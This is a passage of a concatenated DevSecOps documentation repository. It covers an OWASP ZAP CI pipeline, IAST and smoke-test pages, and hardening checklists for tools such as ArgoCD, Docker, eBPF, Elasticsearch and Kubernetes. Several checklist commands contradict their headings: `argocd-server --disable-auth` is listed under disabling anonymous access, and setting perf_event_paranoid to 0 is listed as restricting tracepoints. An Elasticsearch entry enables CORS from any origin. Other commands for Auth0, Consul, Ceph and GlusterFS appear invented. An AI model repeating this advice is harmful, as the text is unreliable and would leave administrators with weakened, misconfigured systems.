ZAP run: | wget https://github.com/zaproxy/zaproxy/releases/download/v2.10.0/ZAP_2.10.0_Core.zip unzip ZAP_2.10.0_Core.zip -d zap - name: Start OWASP ZAP run: | zap/zap.sh -daemon -host 127.0.0.1 -port 8080 -config api.disablekey=true - name: Configure OWASP ZAP run: | zap/zap-cli.py -p 8080 open-url https://example.com ``` 2- **Next, we need to run the security scan using OWASP ZAP. This can be done by running the following command in the pipeline:** ``` - name: Run OWASP ZAP scan run: | zap/zap-cli.py -p 8080 spider https://example.com zap/zap-cli.py -p 8080 active-scan https://example.com ``` This will start the OWASP ZAP spider to crawl the web application and then run an active scan to identify security vulnerabilities. 3- **Finally, we need to generate a report of the security scan results. This can be done by running the following command in the pipeline:** ``` - name: Generate OWASP ZAP report run: | zap/zap-cli.py -p 8080 report -o zap-report.html -f html ``` This will generate an HTML report of the security scan results that can be reviewed and acted upon. ================================================ FILE: docs/build-test/iast.md ================================================ --- layout: default title: IAST parent: Build & Test --- # IAST {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- IAST stands for Interactive Application Security Testing. It is a type of application security testing that combines the benefits of SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing) tools. IAST tools are designed to be integrated into the application being tested, and work by instrumenting the application's code to provide real-time feedback on any security vulnerabilities that are identified during runtime. This allows IAST tools to detect vulnerabilities that may not be visible through other forms of testing, such as those that are introduced by the application's configuration or environment. Here are some key features of IAST: 1. Real-time feedback: IAST tools provide real-time feedback on security vulnerabilities as they are identified during runtime, allowing developers to fix them as they are found. 2. Accuracy: IAST tools have a high degree of accuracy because they are able to detect vulnerabilities in the context of the application's runtime environment. 3. Low false positive rate: IAST tools have a low false positive rate because they are able to distinguish between actual vulnerabilities and benign code. 4. Integration: IAST tools can be integrated into the development process, allowing developers to incorporate security testing into their workflows. 5. Automation: IAST tools can be automated, allowing for continuous testing and faster feedback on vulnerabilities. 6. Coverage: IAST tools can provide coverage for a wide range of security vulnerabilities, including those that may be difficult to detect through other forms of testing. | IAST Tool | Description | |:---------------|:---------------------| | `Contrast Security` | an IAST tool that automatically identifies and tracks vulnerabilities in real-time during the software development process. It can be integrated into a CI/CD pipeline to provide continuous monitoring and protection. | | `Hdiv Security` | an IAST solution that detects and prevents attacks by monitoring the runtime behavior of applications. It provides detailed insights into vulnerabilities and generates reports for developers and security teams. | | `RIPS Technologies` | a security testing tool that combines IAST with SAST (Static Application Security Testing) to provide comprehensive security analysis of web applications. It supports multiple programming languages and frameworks. | | `Acunetix` | a web application security tool that offers IAST capabilities for detecting vulnerabilities in real-time. It provides detailed reports and integrates with CI/CD pipelines to automate the security testing process. | | `AppSecEngineer` | an open-source IAST tool for detecting and preventing security vulnerabilities in web applications. It integrates with popular web frameworks such as Spring, Django, and Ruby on Rails, and provides detailed reports of vulnerabilities and attack attempts. | an example of a CI/CD pipeline with IAST using Contrast Security: ``` stages: - build - test - iast - deploy build: stage: build script: - mvn clean package test: stage: test script: - mvn test iast: stage: iast image: contrastsecurity/contrast-agent script: - java -javaagent:/opt/contrast/contrast.jar -jar target/myapp.jar allow_failure: true deploy: stage: deploy script: - mvn deploy only: - master ``` In this pipeline, the IAST stage is added after the test stage. The script in the IAST stage starts the Contrast Security agent using the Java command with the `-javaagent` option, and then starts the application using the `jar` command. The agent will monitor the application for security vulnerabilities and provide real-time feedback. Note that this is just an example pipeline and it can be customized according to your needs. Also, make sure to configure the IAST tool properly and follow best practices for secure development and deployment. ================================================ FILE: docs/build-test/smoke-test.md ================================================ --- layout: default title: Smoke Test parent: Build & Test --- # Smoke Test {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Smoke tests are typically conducted on a small subset of the application's functionality, and are designed to be quick and easy to execute. They may include basic checks such as verifying that the application can be launched, that key features are functional, and that data is being processed correctly. If the smoke test passes, the application can be considered ready for further testing. Example commands for performing smoke tests in DevSecOps: ## HTTP requests: * Use tools like cURL or HTTPie to make HTTP requests to the application's endpoints and verify that they return the expected responses. * For example, you might run a command like `curl http://localhost:8080/api/health` to check the health of the application. ## Database queries: * Use SQL queries to verify that the application is correctly reading from and writing to the database. * For example, you might run a command like `mysql -u user -p password -e "SELECT * FROM users WHERE id=1"` to verify that a user with ID 1 exists in the database. ## Scripted tests: * Use testing frameworks like Selenium or Puppeteer to automate browser-based tests and verify that the application's UI is working correctly. * For example, you might create a script using Puppeteer that logs in to the application and verifies that the user profile page is displayed correctly. ## Unit tests: * Use unit testing frameworks like JUnit or NUnit to test individual functions and methods in the application. * For example, you might run a command like `mvn test` to run all of the unit tests in a Java application. ================================================ FILE: docs/checklists/apache.md ================================================ --- layout: default title: Apache parent: Checklists --- # Apache Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Apache for DevSecOps ### Disable directory listing ``` Options -Indexes ``` ### Enable server signature ``` ServerSignature On ``` ### Disable server signature ``` ServerSignature Off ``` ### Change server header ``` ServerTokens Prod ``` ### Disable server header `ServerTokens Prod` and `ServerSignature Off` ### Enable HTTPS Install SSL certificate and configure Apache to use it ### Disable HTTP TRACE method ``` TraceEnable off ``` ### Set secure HTTP response headers ``` Header always set X-XSS-Protection "1; mode=block" Header always set X-Content-Type-Options nosniff Header always set X-Frame-Options SAMEORIGIN Header always set Content-Security-Policy "default-src 'self'" ``` ================================================ FILE: docs/checklists/argocd.md ================================================ --- layout: default title: ArgoCD parent: Checklists --- # ArgoCD Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden ArgoCD for DevSecOps ### Disable anonymous access to the ArgoCD API server ``` argocd-server --disable-auth ``` ### Enable HTTPS for ArgoCD server communication ``` argocd-server --tls-cert-file /path/to/tls.crt --tls-private-key-file /path/to/tls.key ``` ### Use a strong password for ArgoCD administrative users ``` argocd-server --admin-password ``` ### Restrict access to ArgoCD API server by IP address Modify `argocd-server` configuration file to specify `--client-ca-file` and `--auth-mode cert` options and create a certificate authority file and client certificate signed by the CA for each client host. ### Enable RBAC for fine-grained access control to ArgoCD resources ``` argocd-server --rbac-policy-file /path/to/rbac.yaml ``` ### Set secure cookie options for ArgoCD web UI ``` argocd-server --secure-cookie ``` ### Use least privilege principle for ArgoCD API access Create a dedicated ArgoCD service account with minimal necessary permissions. ### Regularly update ArgoCD to latest stable version `argocd version --client` to check client version and `argocd version --server` to check server version. Use package manager or manual upgrade as needed. ### Regularly audit ArgoCD logs and access control `argocd-server --loglevel debug` to enable debug level logging. Use a log analyzer or SIEM tool to monitor logs for anomalies. ### Implement backup and recovery plan for ArgoCD data `argocd-util export /path/to/export` to export ArgoCD data and configuration. Store backups securely and test restoration procedure periodically. ================================================ FILE: docs/checklists/auth0.md ================================================ --- layout: default title: auth0 parent: Checklists --- # auth0 Security Checklist for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to auth0 for DevSecOps ### Enable Multi-Factor Authentication (MFA) ``` auth0 rules create --name enable-mfa ``` ### Set Strong Password Policies ``` auth0 connections update ``` ### Limit Number of Devices ``` Use Auth0 Dashboard to set device limits ``` ### Enable Anomaly Detection ``` auth0 anomaly enable ``` ### Regularly Rotate Client Secrets ``` auth0 clients rotate-secret ``` ### Restrict Allowed Callback URLs ``` auth0 clients update --callbacks ``` ### Enable Automated Log Monitoring and Alerts ``` Use Auth0 Dashboard to configure alerts ``` ### Use Role-Based Access Control (RBAC) ``` auth0 roles create ``` ================================================ FILE: docs/checklists/aws.md ================================================ --- layout: default title: AWS parent: Checklists --- # AWS Security Checklist for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to AWS for DevSecOps ### Enable multi-factor authentication (MFA) ``` aws cognito-idp set-user-mfa-preference ``` ### Set a strong password policy ``` aws cognito-idp update-user-pool ``` ### Enable advanced security features ``` aws cognito-idp set-user-pool-policy ``` ### Limit the number of devices a user can remember ``` aws cognito-idp set-device-configuration ``` ### Set a session timeout for your user pool ``` aws cognito-idp update-user-pool-client ``` ### Enable account recovery method ``` aws cognito-idp set-account-recovery ``` ### Monitor and log all sign-in and sign-out events ``` aws cognito-idp create-user-pool-domain ``` ### Restrict access to your user pool only from certain IP ranges ``` aws cognito-idp update-resource-server ``` ================================================ FILE: docs/checklists/ceph.md ================================================ --- layout: default title: Ceph parent: Checklists --- # Ceph Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Ceph for DevSecOps ### Update Ceph to the latest version ``` sudo apt-get update && sudo apt-get upgrade ceph -y ``` ### Enable SSL/TLS encryption for Ceph traffic ``` ceph config set global network.ssl true ``` ### Set secure file permissions for Ceph configuration files ``` sudo chmod 600 /etc/ceph/* ``` ### Limit access to the Ceph dashboard ``` sudo ufw allow 8443/tcp && sudo ufw allow 8003/tcp && sudo ufw allow 8080/tcp ``` ### Configure Ceph to use firewall rules ``` sudo ceph config set global security firewall iptables ``` ### Implement network segmentation for Ceph nodes ``` sudo iptables -A INPUT -s -j ACCEPT ``` ### Configure Ceph to use encrypted OSDs ``` sudo ceph-osd --mkfs --osd-uuid --cluster ceph --osd-data --osd-journal --osd-encrypted ``` ### Use SELinux or AppArmor to restrict Ceph processes `sudo setenforce 1` (for SELinux) or `sudo aa-enforce /etc/apparmor.d/usr.bin.ceph-osd` (for AppArmor) ================================================ FILE: docs/checklists/checklists.md ================================================ --- layout: default title: Checklists nav_order: 10 has_children: true permalink: docs/checklists --- # Checklists {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/checklists/consul.md ================================================ --- layout: default title: Consul parent: Checklists --- # Consul Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Consul for DevSecOps ### Enable TLS encryption for Consul communication ``` consul agent -config-dir=/etc/consul.d -encrypt= -ca-file=/path/to/ca.crt -cert-file=/path/to/consul.crt -key-file=/path/to/consul.key ``` ### Restrict access to Consul API ``` consul acl bootstrap; consul acl policy create -name "secure-policy" -rules @secure-policy.hcl; consul acl token create -description "secure-token" -policy-name "secure-policy" -secret ``` ### Limit the resources allocated to Consul service `systemctl edit consul.service` and add `CPUQuota=50%` and `MemoryLimit=512M` ### Disable unnecessary HTTP APIs ``` consul agent -disable-http-apis=stats ``` ### Enable and configure audit logging ``` consul agent -config-dir=/etc/consul.d -audit-log-path=/var/log/consul_audit.log ``` ### Enable and configure health checks ``` consul agent -config-dir=/etc/consul.d -enable-script-checks=true -script-check-interval=10s -script-check-timeout=5s -script-check-id= -script-check= ``` ### Enable rate limiting to prevent DDoS attacks ``` consul rate-limiting enable; consul rate-limiting config set -max-burst 1000 -rate 100 ``` ### Set up backup and recovery procedures for Consul data ``` consul snapshot save /path/to/snapshot; consul snapshot restore /path/to/snapshot ``` ================================================ FILE: docs/checklists/couchdb.md ================================================ --- layout: default title: CouchDB parent: Checklists --- # CouchDB Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden CouchDB for DevSecOps ### Disable admin party Edit the CouchDB configuration file `local.ini` located at `/opt/couchdb/etc/couchdb/`. Change the line `; [admins] to [admins]`, and add your admin username and password. Save and exit the file. Restart CouchDB. Example command: `sudo nano /opt/couchdb/etc/couchdb/local.ini` ### Restrict access to configuration files Change the owner and group of the CouchDB configuration directory `/opt/couchdb/etc/couchdb/` to the CouchDB user and group. Example command: `sudo chown -R couchdb:couchdb /opt/couchdb/etc/couchdb/` ### Use SSL/TLS encryption Create SSL/TLS certificates and configure CouchDB to use HTTPS. Example command for creating self-signed certificates: `sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/couchdb.key -out /etc/ssl/certs/couchdb.crt` ### Limit access to ports Use a firewall to limit access to only the necessary ports. Example command using `ufw`: `sudo ufw allow from 192.168.1.0/24 to any port 5984` ### Update CouchDB regularly Install updates and security patches regularly to keep the system secure. Example command for updating packages: `sudo apt-get update && sudo apt-get upgrade` ================================================ FILE: docs/checklists/docker.md ================================================ --- layout: default title: Docker parent: Checklists --- # Docker Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Docker for DevSecOps ### Enable Docker Content Trust ``` export DOCKER_CONTENT_TRUST=1 ``` ### Restrict communication with Docker daemon to local socket sudo chmod 660 /var/run/docker.sock
sudo chgrp docker /var/run/docker.sock ### Enable Docker Swarm Mode docker swarm init ### Set up network security for Docker Swarm docker network create --driver overlay my-network ### Implement resource constraints on Docker containers ``` docker run --cpu-quota=50000 --memory=512m my-image ``` ### Use Docker Secrets to protect sensitive data ``` docker secret create my-secret my-secret-data.txt ``` ### Limit access to Docker APIs Use a reverse proxy like NGINX or Apache to limit access to the Docker API endpoint ### Rotate Docker TLS certificates regularly ``` dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376 ``` ### Use non-root user ``` user: ``` ### Limit container capabilities ``` cap_drop: [CAP_SYS_ADMIN] ``` ### Restrict container resources ``` resources: limits: cpus: 0.5 memory: 512M ``` ### Enable read-only file system ``` read_only: true ``` ### Set container restart policy ``` restart: unless-stopped ``` ### Use TLS/SSL for secure communication ``` docker run -d -p 443:443 --name registry -v /path/to/certs:/certs -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key registry:latest ``` ### Enable authentication ``` docker run -d -p 443:443 --name registry -v /path/to/auth:/auth -e REGISTRY_AUTH=htpasswd -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd registry:latest ``` ### Limit access to trusted clients ``` docker run -d -p 443:443 --name registry -e REGISTRY_HTTP_SECRET=mysecret registry:latest ``` ### Implement access control policies ``` docker run -d -p 443:443 --name registry -v /path/to/config.yml:/etc/docker/registry/config.yml registry:latest ``` ### Enable content trust (image signing) ``` export DOCKER_CONTENT_TRUST=1 ``` ================================================ FILE: docs/checklists/ebpf.md ================================================ --- layout: default title: eBPF parent: Checklists --- # eBPF Security Checklist for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to eBPF for DevSecOps ### Enable eBPF hardening ``` echo 1 > /proc/sys/net/core/bpf_jit_harden ``` ### Limit eBPF program load ``` setcap cap_bpf=e /path/to/program ``` ### Restrict eBPF tracepoints access ``` echo 0 > /proc/sys/kernel/perf_event_paranoid ``` ### Use eBPF to monitor system calls ``` bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' ``` ### Enable eBPF-based security monitoring ``` bpftool prog load secmon.bpf /sys/fs/bpf/ ``` ### Limit eBPF map operations ``` bpftool map create /sys/fs/bpf/my_map type hash key 4 value 4 entries 1024 ``` ### Regularly update eBPF tools and libraries ``` apt-get update && apt-get upgrade libbpf-tools ``` ================================================ FILE: docs/checklists/elasticsearch.md ================================================ --- layout: default title: Elasticsearch parent: Checklists --- # Elasticsearch Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Elasticsearch for DevSecOps ### Disable dynamic scripting and disable inline scripts sudo nano /etc/elasticsearch/elasticsearch.yml
Set the following configurations:
script.inline: false
script.stored: false
script.engine: "groovy" ### Disable unused HTTP methods `sudo nano /etc/elasticsearch/elasticsearch.yml` Add the following configuration:
`http.enabled: true`
`http.cors.allow-origin: "/.*/"``http.cors.enabled: true`
`http.cors.allow-methods: HEAD,GET,POST,PUT,DELETE,OPTIONS`
`http.cors.allow-headers: "X-Requested-With,Content-Type,Content-Length"`
`http.max_content_length: 100mb` ### Restrict access to Elasticsearch ports `sudo nano /etc/sysconfig/iptables`
Add the following rules to only allow incoming connections from trusted IP addresses:
`-A INPUT -p tcp -m tcp --dport 9200 -s 10.0.0.0/8 -j ACCEPT`
`-A INPUT -p tcp -m tcp --dport 9200 -s 192.168.0.0/16 -j ACCEPT`
`-A INPUT -p tcp -m tcp --dport 9200 -j DROP`
Restart the iptables service to apply changes.
`sudo service iptables restart` ### Use a reverse proxy to secure Elasticsearch Set up a reverse proxy (e.g. Nginx, Apache) in front of Elasticsearch and configure SSL/TLS encryption and authentication. ================================================ FILE: docs/checklists/etcd.md ================================================ --- layout: default title: etcd parent: Checklists --- # etcd Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden etcd for DevSecOps ### Enable authentication for etcd ``` etcd --auth-enable=true ``` ### Configure TLS encryption for etcd communication ``` etcd --cert-file=/path/to/cert.pem --key-file=/path/to/key.pem --client-cert-auth=true --trusted-ca-file=/path/to/ca.pem ``` ### Enable etcd access control lists (ACLs) ``` Enable etcd access control lists (ACLs) ``` ### Limit network access to etcd ports ``` iptables -A INPUT -p tcp --dport 2379 -j DROP ``` ================================================ FILE: docs/checklists/git.md ================================================ --- layout: default title: Git parent: Checklists --- # Git Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Git for DevSecOps ### Enable GPG signature verification ``` git config --global commit.gpgsign true ``` ### Set a strong passphrase for GPG key gpg --edit-key and then use the passwd command to set a strong passphrase ### Use HTTPS instead of SSH for remote repositories ``` git config --global url."https://".insteadOf git:// ``` ### Enable two-factor authentication Enable it through the Git service provider's website ### Set Git to ignore file mode changes ``` git config --global core.fileMode false ``` ### Configure Git to use a credential helper `git config --global credential.helper ` where `` is the name of the credential helper (e.g., `manager`, `store`) ### Use signed commits ``` git commit -S ``` or ``` git config --global commit.gpgsign true ``` ### Set Git to automatically prune stale remote-tracking branches ``` git config --global fetch.prune true ``` ### Set Git to always rebase instead of merge when pulling ``` git config --global pull.rebase true ``` ### Use Git's `ignore` feature to exclude sensitive files Add files or file patterns to the `.gitignore` file ================================================ FILE: docs/checklists/gitlab.md ================================================ --- layout: default title: Gitlab parent: Checklists --- # Gitlab Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Gitlab for DevSecOps ### Update GitLab to the latest version ``` sudo apt-get update && sudo apt-get upgrade gitlab-ee ``` ### Enable SSL/TLS for GitLab Edit /etc/gitlab/gitlab.rb and add the following lines:
external_url 'https://gitlab.example.com'
nginx['redirect_http_to_https'] = true
nginx['ssl_certificate'] = "/etc/gitlab/ssl/gitlab.example.com.crt"
nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/gitlab.example.com.key"
gitlab_rails['gitlab_https'] = true
gitlab_rails['trusted_proxies'] = ['192.168.1.1'] (replace 192.168.1.1 with the IP address of your proxy)
Then run sudo gitlab-ctl reconfigure ### Disable GitLab sign up Edit /etc/gitlab/gitlab.rb and add the following line:
gitlab_rails['gitlab_signup_enabled'] = false
Then run sudo gitlab-ctl reconfigure ### Set a strong password policy Edit /etc/gitlab/gitlab.rb and add the following lines:
gitlab_rails['password_minimum_length'] = 12
gitlab_rails['password_complexity'] = 2
Then run sudo gitlab-ctl reconfigure ### Limit the maximum file size Edit /etc/gitlab/gitlab.rb and add the following line:
gitlab_rails['max_attachment_size'] = 10.megabytes
Then run sudo gitlab-ctl reconfigure ### Enable two-factor authentication (2FA) Go to GitLab's web interface, click on your profile picture in the top-right corner, and select "Settings". Then select "Account" from the left-hand menu and follow the prompts to set up 2FA. ### Enable audit logging Edit /etc/gitlab/gitlab.rb and add the following line:
gitlab_rails['audit_events_enabled'] = true
Then run sudo gitlab-ctl reconfigure ### Configure GitLab backups Edit /etc/gitlab/gitlab.rb and add the following lines:
gitlab_rails['backup_keep_time'] = 604800
gitlab_rails['backup_archive_permissions'] = 0644
gitlab_rails['backup_pg_schema'] = 'public'
gitlab_rails['backup_path'] = "/var/opt/gitlab/backups"
Then run sudo gitlab-ctl reconfigure ### Restrict SSH access Edit /etc/gitlab/gitlab.rb and add the following line:
gitlab_rails['gitlab_shell_ssh_port'] = 22
Then run sudo gitlab-ctl reconfigure ### Enable firewall rules Configure your firewall to only allow incoming traffic on ports that are necessary for GitLab to function, such as 80, 443, and 22. Consult your firewall documentation for instructions on how to configure the firewall rules. ================================================ FILE: docs/checklists/glusterfs.md ================================================ --- layout: default title: GlusterFS parent: Checklists --- # GlusterFS Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden GlusterFS for DevSecOps ### Disable insecure management protocols ``` gluster volume set network.remote-dio.disable on ``` ### Enable SSL encryption for management ``` gluster volume set network.remote.ssl-enabled on ``` ### Limit access to trusted clients ``` gluster volume set auth.allow ``` ### Enable client-side SSL encryption ``` gluster volume set client.ssl on ``` ### Enable authentication for client connections ``` gluster volume set client.auth on ``` ### Set proper permissions for GlusterFS files and directories ``` chown -R root:glusterfs /etc/glusterfs /var/lib/glusterd /var/log/glusterfs ``` ### Disable root access to GlusterFS volumes ``` gluster volume set auth.reject-unauthorized on ``` ### Enable TLS encryption for GlusterFS traffic ``` gluster volume set transport-type ``` ### Monitor GlusterFS logs for security events ``` tail -f /var/log/glusterfs/glusterd.log ``` ================================================ FILE: docs/checklists/gradle.md ================================================ --- layout: default title: Gradle parent: Checklists --- # Gradle Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Gradle for DevSecOps ### Use the latest stable version of Gradle Check the latest version on the official website: https://gradle.org/releases/, and then install it. For example: wget https://services.gradle.org/distributions/gradle-7.0.2-bin.zip, unzip gradle-7.0.2-bin.zip, and set the PATH environment variable to the Gradle bin directory. ### Disable or restrict Gradle daemon You can disable the daemon by adding the following line to the gradle.properties file: org.gradle.daemon=false. Alternatively, you can restrict the maximum amount of memory that can be used by the daemon by setting the org.gradle.jvmargs property. ### Configure Gradle to use HTTPS for all repositories Add the following code to the build.gradle file to enforce using HTTPS for all repositories: ``` allprojects { repositories { mavenCentral { url "https://repo1.maven.org/maven2/" } maven { url "https://plugins.gradle.org/m2/" } } } ``` ### Use secure credentials for accessing repositories Use encrypted credentials in the `build.gradle` file or environment variables for accessing repositories. ### Use plugins and dependencies from trusted sources only Use plugins and dependencies from official sources, and avoid using those from unknown or untrusted sources. ### Implement access controls for Gradle builds Implement access controls to ensure that only authorized users can execute or modify Gradle builds. ### Regularly update Gradle and plugins Regularly update Gradle and its plugins to ensure that security vulnerabilities are fixed and new features are added. Use the `gradle wrapper` command to ensure that all team members use the same version of Gradle. ================================================ FILE: docs/checklists/graphite.md ================================================ --- layout: default title: Graphite parent: Checklists --- # Graphite Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Graphite for DevSecOps ### Disable debug mode ``` sed -i 's/DEBUG = True/DEBUG = False/g' /opt/graphite/webapp/graphite/local_settings.py ``` ### Set a strong secret key for Django ``` sed -i "s/SECRET_KEY = 'UNSAFE_DEFAULT'/SECRET_KEY = 'your-strong-secret-key-here'/g" /opt/graphite/webapp/graphite/local_settings.py ``` ### Enable HTTPS ``` Install a SSL certificate and configure NGINX to serve Graphite over HTTPS ``` ### Restrict access to Graphite web interface ``` Configure NGINX to require authentication or restrict access to specific IP addresses ``` ### Restrict access to Graphite API Configure NGINX to require authentication or restrict access to specific IP addresses ### Disable unused Graphite components Remove unused Carbon cache backends or Django apps to reduce attack surface ### Enable authentication for Graphite data ingestion Configure Carbon to require authentication for incoming data ### Enable Graphite logging Configure Graphite to log access and error messages for easier troubleshooting ### Monitor Graphite metrics Use a monitoring tool like Prometheus or Nagios to monitor Graphite metrics and detect any anomalies ### Keep Graphite up-to-date Regularly update Graphite and its dependencies to address any known security vulnerabilities ================================================ FILE: docs/checklists/iis.md ================================================ --- layout: default title: IIS parent: Checklists --- # IIS Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden IIS for DevSecOps ### Disable directory browsing ``` Set-WebConfigurationProperty -filter /system.webServer/directoryBrowse -PSPath "IIS:\Sites\Default Web Site" -name enabled -value $false ``` ### Remove unneeded HTTP headers ``` Remove-WebConfigurationProperty -filter "system.webServer/httpProtocol/customHeaders" -name ."X-Powered-By" ``` ### Set secure HTTP response headers ``` Add-WebConfigurationProperty -filter "system.webServer/staticContent" -name "clientCache.cacheControlMode" -value "UseMaxAge"
Set-WebConfigurationProperty -filter "system.webServer/staticContent/clientCache" -name "cacheControlMaxAge" -value "365.00:00:00"
Add-WebConfigurationProperty -filter "system.webServer/httpProtocol/customHeaders" -name "X-Content-Type-Options" -value "nosniff"
Add-WebConfigurationProperty -filter "system.webServer/httpProtocol/customHeaders" -name "X-Frame-Options" -value "SAMEORIGIN"
Add-WebConfigurationProperty -filter "system.webServer/httpProtocol/customHeaders" -name "X-XSS-Protection" -value "1; mode=block" ``` ### Enable HTTPS and configure SSL/TLS settings ``` New-WebBinding -Name "Default Web Site" -Protocol https -Port 443 -IPAddress "*" -SslFlags 1
Set-ItemProperty -Path IIS:\SslBindings\0.0.0.0!443 -Name "SslFlags" -Value "1"
Set-WebConfigurationProperty -filter "system.webServer/security/authentication/iisClientCertificateMappingAuthentication" -name enabled -value $false
Set-WebConfigurationProperty -filter "system.webServer/security/authentication/anonymousAuthentication" -name enabled -value $false
Set-WebConfigurationProperty -filter "system.webServer/security/authentication/basicAuthentication" -name enabled -value $false
Set-WebConfigurationProperty -filter "system.webServer/security/authentication/digestAuthentication" -name enabled -value $false
Set-WebConfigurationProperty -filter "system.webServer/security/authentication/windowsAuthentication" -name enabled -value $true
Set-WebConfigurationProperty -filter "system.webServer/security/authentication/windowsAuthentication" -name useKernelMode -value $true ``` ### Restrict access to files and directories ``` Set-WebConfigurationProperty -filter "/system.webServer/security/requestFiltering/fileExtensions" -name "." -value @{allowed="$false"}
Set-WebConfigurationProperty -filter "/system.webServer/security/requestFiltering/hiddenSegments" -name "." -value @{allowed="$false"}
Set-WebConfigurationProperty -filter "/system.webServer/security/requestFiltering/denyUrlSequences" -name "." -value @{add="$false"} ``` ### Enable logging and configure log settings ``` Set-WebConfigurationProperty -filter "/system.webServer/httpLogging" -name dontLog -value $false ``` or ``` Set-WebConfigurationProperty -filter "/system.webServer/httpLogging" -name logExtFileFlags -value "Date, Time, ClientIP, UserName, SiteName, ComputerName, ServerIP, Method, UriStem, UriQuery, HttpStatus, Win32Status, BytesSent, BytesRecv, TimeTaken ``` ================================================ FILE: docs/checklists/jenkins.md ================================================ --- layout: default title: Jenkins parent: Checklists --- # Jenkins Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Jenkins for DevSecOps ### Enable security Go to "Manage Jenkins" -> "Configure Global Security" and select "Enable security" ### Use secure connection Go to "Manage Jenkins" -> "Configure Global Security" and select "Require secure connections" ### Restrict project access Go to the project configuration -> "Configure" -> "Enable project-based security" ### Use plugins with caution Install only necessary plugins from trusted sources and regularly update them ### Limit user permissions Assign minimal necessary permissions to each user or group ### Use credentials securely Store credentials in Jenkins credentials store and use them only where necessary ### Regularly update Jenkins Keep Jenkins updated with the latest security patches and updates ### Enable audit logging Enable audit logging to track and investigate security incidents ### Secure access to Jenkins server Limit access to Jenkins server by configuring firewall rules and setting up VPN access ### Use Jenkins agent securely Use secure connections between Jenkins master and agents and limit access to agents ### Use build tools securely Use secure and updated build tools and avoid using system tools or commands directly in build scripts ### Follow secure coding practices Follow secure coding practices to avoid introducing vulnerabilities in build scripts or plugins ================================================ FILE: docs/checklists/kubernetes.md ================================================ --- layout: default title: Kubernetes parent: Checklists --- # Kuberneties Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Kuberneties for DevSecOps ### Restrict Kubernetes API access to specific IP ranges `kubectl edit svc/kubernetes`
Update `spec.loadBalancerSourceRanges` ### Use Role-Based Access Control (RBAC) ``` kubectl create serviceaccount
kubectl create clusterrolebinding --clusterrole= --serviceaccount=: ``` ### Enable PodSecurityPolicy (PSP) ``` kubectl create serviceaccount psp-sa
kubectl create clusterrolebinding psp-binding --clusterrole=psp:vmxnet3 --serviceaccount=default:psp-sa ``` ### Use Network Policies ``` kubectl apply -f networkpolicy.yml ``` ### Enable Audit Logging ``` kubectl apply -f audit-policy.yaml
kubectl edit cm/kube-apiserver -n kube-system
Update --audit-log-path and --audit-policy-file ``` ### Use Secure Service Endpoints ``` kubectl patch svc -p '{"spec": {"publishNotReadyAddresses": true, "sessionAffinity": "ClientIP"}}' ``` ### Use Pod Security Context `kubectl create sa pod-sa`
`kubectl create rolebinding pod-sa --role=psp:vmxnet3 --serviceaccount=default:pod-sa` ### Use Kubernetes Secrets ``` kubectl create secret generic --from-file= ``` ### Enable Container Runtime Protection ``` kubectl apply -f falco.yaml ``` ### Enable Admission Controllers `kubectl edit cm/kube-apiserver -n kube-system`
Update `--enable-admission-plugins` ================================================ FILE: docs/checklists/maven.md ================================================ n--- layout: default title: Maven parent: Checklists --- # Maven Hardening for DevSecOps {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- List of some best practices to harden Maven for DevSecOps ### Use Maven Central with HTTPS Set Maven to use HTTPS when communicating with the Maven Central repository by adding the following to your `settings.xml` file:

